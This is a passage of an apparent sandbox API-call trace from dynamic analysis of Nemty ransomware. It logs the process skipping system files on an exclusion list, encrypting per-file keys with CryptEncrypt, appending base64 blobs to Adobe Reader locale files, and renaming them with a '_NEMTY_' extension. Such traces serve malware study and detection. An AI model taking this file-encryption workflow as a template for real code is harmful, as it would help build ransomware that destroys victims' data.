lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.140] Sleep (dwMilliseconds=0x5) [0178.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd51b30, dwHighDateTime=0x1d561e8)) [0178.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd51b30, dwHighDateTime=0x1d561e8)) [0178.150] GetLastError () returned 0x0 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.150] GetLastError () returned 0x0 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.150] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.150] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="JLAKLFl1FkCmvoWyZHCiV8YFor9Rl0uRjzPWbSrr9JGuT3O55sIqzUkHE3WPa6iL\r\nc8NSg8/RtHRpi8sr3y1cbcMfZYXCqaKrNBZ7q57ZVEs7HdO9BJeDR6dFAjt2yXoP\r\nl2yMZyiVGm55inB2Q/VQR9Rc717F2NXTRvlBWVfq4fED3DuWMOAFEQWOCTF5ATha\r\nNf1u/beqE4LMJCbSFJQZ5/INxW9Elg8q8NNdLBuPpb4I0iym5xpKvonGO0btEmvl\r\n7vyh2JSaMmxF+aF8qlUkVFmg55m/fX7ePdNgUxjn0k22wDiLMb0rIzeI5l7k2v9+\r\nu/K9kCUjYfVMnaL4C6KKkA==\r\n", pcchString=0x653e5dc) returned 1 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\reflow.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\reflow.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.151] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0178.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0178.151] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.151] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0178.153] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.153] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0178.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.153] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0178.153] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.153] CloseHandle (hObject=0x2e8) returned 1 [0178.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.153] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\reflow.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\reflow.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\reflow.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\reflow.hun._nemty_kgobjgd_")) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.154] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.HUN", cAlternateFileName="SAVEAS~1.HUN")) returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2=".") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="..") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="...") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="windows") returned -1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="rsa") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="NTDETECT.COM") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="ntldr") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="MSDOS.SYS") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="IO.SYS") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="boot.ini") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="boot.ini") returned 1 [0178.154] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="ntuser.dat") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="desktop.ini") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="CONFIG.SYS") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="RECYCLER") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="bootmgr") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="programdata") returned 1 [0178.155] lstrcmpiW (lpString1="SaveAsRTF.HUN", lpString2="appdata") returned 1 [0178.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HUN", lpUsedDefaultChar=0x0) returned 13 [0178.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HUN", lpUsedDefaultChar=0x0) returned 13 [0178.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HUN", lpUsedDefaultChar=0x0) returned 13 [0178.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HUN", lpUsedDefaultChar=0x0) returned 13 [0178.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.155] Sleep (dwMilliseconds=0x5) [0178.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd77c90, dwHighDateTime=0x1d561e8)) [0178.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd77c90, dwHighDateTime=0x1d561e8)) [0178.166] GetLastError () returned 0x0 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.166] GetLastError () returned 0x0 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.166] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.166] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.166] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.166] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="wqteaweKWj7OwmEg8Cd1KT/eX02190gQWN5CL+JODAdXflPS2sI9OBwLKLzRt+Ad\r\n8LfDPaVKzLmbVDGaNSh5JxHocX6Jvmu0NjcMAJe4U8XwNYe+238L24w/Fq9XpNk7\r\ngS3bJ+JaCgeTaab2dYzzDZjJx3tzR3QR6XAYgMyzWuvNAk5quLneK+RX8jsX7Z4f\r\nRdFMSPGPPGC4feCTaZtjf/F/5wJ2rAzgTrU1YhOeXGwFZTLbGPtTojBbmAYa51Ht\r\nrABBGP7eHV/N2RWZVdBXeAC0zsBFQ5vhw2Ad0DtQ2jYFPV4PaE5NmLIKM+Ccz9+m\r\nEvbEDP/3KdG5RtFhgsT1sg==\r\n", pcchString=0x653e5dc) returned 1 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SaveAsRTF.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\saveasrtf.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.172] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0178.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0178.172] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.172] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0178.174] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.175] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0178.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.175] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0178.175] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.175] CloseHandle (hObject=0x2e8) returned 1 [0178.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.175] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SaveAsRTF.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\saveasrtf.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SaveAsRTF.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\saveasrtf.hun._nemty_kgobjgd_")) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.176] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.HUN", cAlternateFileName="")) returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2=".") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="..") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="...") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="windows") returned -1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="rsa") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="NTDETECT.COM") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="ntldr") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="MSDOS.SYS") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="IO.SYS") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="boot.ini") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="boot.ini") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="ntuser.dat") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="desktop.ini") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="CONFIG.SYS") returned 1 [0178.176] lstrcmpiW (lpString1="Search.HUN", lpString2="RECYCLER") returned 1 [0178.177] lstrcmpiW (lpString1="Search.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.177] lstrcmpiW (lpString1="Search.HUN", lpString2="bootmgr") returned 1 [0178.177] lstrcmpiW (lpString1="Search.HUN", lpString2="programdata") returned 1 [0178.177] lstrcmpiW (lpString1="Search.HUN", lpString2="appdata") returned 1 [0178.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 